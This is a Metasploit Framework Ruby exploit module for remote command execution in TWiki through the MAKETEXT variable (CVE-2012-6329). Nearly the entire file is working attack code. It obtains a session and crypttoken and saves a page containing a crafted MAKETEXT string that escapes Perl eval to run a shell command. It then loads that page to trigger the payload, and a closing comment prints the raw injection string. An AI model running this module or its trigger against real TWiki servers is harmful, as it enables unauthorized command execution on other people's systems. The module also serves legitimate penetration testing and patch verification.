230 lines
6.8 KiB
Ruby
230 lines
6.8 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'TWiki MAKETEXT Remote Command Execution',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a
|
|
specially crafted MAKETEXT, a malicious user can execute shell commands since user
|
|
input is passed to the Perl "eval" command without first being sanitized. The
|
|
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
|
|
module. This works in TWiki sites that have user interface localization enabled
|
|
(UserInterfaceInternationalisation variable set).
|
|
|
|
If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,
|
|
if the 'TwikiPage' option isn't provided, the module will try to create a random
|
|
page on the SandBox space. The modules has been tested successfully on
|
|
TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'George Clark', # original discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-6329' ],
|
|
[ 'OSVDB', '88460' ],
|
|
[ 'BID', '56950' ],
|
|
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ]
|
|
],
|
|
'Privileged' => false, # web server context
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 1024,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic ruby python bash telnet'
|
|
}
|
|
},
|
|
'Platform' => [ 'unix' ],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
'DisclosureDate' => 'Dec 15 2012',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]),
|
|
OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
|
|
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
|
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
|
], self.class)
|
|
end
|
|
|
|
def do_login(username, password)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "#{@base}do/login",
|
|
'vars_post' =>
|
|
{
|
|
'username' => username,
|
|
'password' => password
|
|
}
|
|
})
|
|
|
|
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/
|
|
return nil
|
|
end
|
|
|
|
session = $1
|
|
return session
|
|
end
|
|
|
|
def inject_code(session, code)
|
|
|
|
vprint_status("Retrieving the crypttoken...")
|
|
|
|
res = send_request_cgi({
|
|
'uri' => "#{@base}do/edit#{@page}",
|
|
'cookie' => "TWIKISID=#{session}",
|
|
'vars_get' =>
|
|
{
|
|
'nowysiwyg' => '1'
|
|
}
|
|
})
|
|
|
|
if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/
|
|
vprint_error("Error retrieving the crypttoken")
|
|
return nil
|
|
end
|
|
|
|
crypttoken = $1
|
|
vprint_good("crypttoken found: #{crypttoken}")
|
|
|
|
if session.empty?
|
|
if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/
|
|
session = $1
|
|
else
|
|
vprint_error("Error using anonymous access")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
vprint_status("Injecting the payload...")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "#{@base}do/save#{@page}",
|
|
'cookie' => "TWIKISID=#{session}",
|
|
'vars_post' =>
|
|
{
|
|
'crypttoken' => crypttoken,
|
|
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
|
|
}
|
|
})
|
|
|
|
if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/
|
|
print_warning("Error injecting the payload")
|
|
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
|
|
return nil
|
|
end
|
|
|
|
location = URI(res.headers['Location']).path
|
|
print_good("Payload injected on #{location}")
|
|
|
|
return location
|
|
end
|
|
|
|
def check
|
|
@base = target_uri.path
|
|
@base << '/' if @base[-1, 1] != '/'
|
|
|
|
res = send_request_cgi({
|
|
'uri' => "#{@base}do/view/TWiki/WebHome"
|
|
})
|
|
|
|
if not res or res.code != 200
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/
|
|
version = $1
|
|
print_status("Version found: #{version}")
|
|
if version < "5.1.3"
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
|
|
def exploit
|
|
|
|
# Init variables
|
|
@page = ''
|
|
|
|
if datastore['TwikiPage'] and not datastore['TwikiPage'].empty?
|
|
@page << '/' if datastore['TwikiPage'][0] != '/'
|
|
@page << datastore['TwikiPage']
|
|
else
|
|
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
|
|
end
|
|
|
|
@base = target_uri.path
|
|
@base << '/' if @base[-1, 1] != '/'
|
|
|
|
# Login if needed
|
|
if (datastore['USERNAME'] and
|
|
not datastore['USERNAME'].empty? and
|
|
datastore['PASSWORD'] and
|
|
not datastore['PASSWORD'].empty?)
|
|
print_status("Trying login to get session ID...")
|
|
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
else
|
|
print_status("Using anonymous access...")
|
|
session = ""
|
|
end
|
|
|
|
if not session
|
|
fail_with(Failure::Unknown, "Error getting a session ID")
|
|
end
|
|
|
|
# Inject payload
|
|
print_status("Trying to inject the payload on #{@page}...")
|
|
res = inject_code(session, payload.encoded)
|
|
if not res
|
|
fail_with(Failure::Unknown, "Error injecting the payload")
|
|
end
|
|
|
|
# Execute payload
|
|
print_status("Executing the payload through #{res}...")
|
|
res = send_request_cgi({
|
|
'uri' => res,
|
|
'cookie' => "TWIKISID=#{session}"
|
|
})
|
|
if not res or res.code != 200 or res.body !~ /HASH/
|
|
fail_with(Failure::Unknown, "Error executing the payload")
|
|
end
|
|
|
|
print_good("Exploitation was successful")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
|
|
* Trigger:
|
|
|
|
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
|
|
|
|
=end |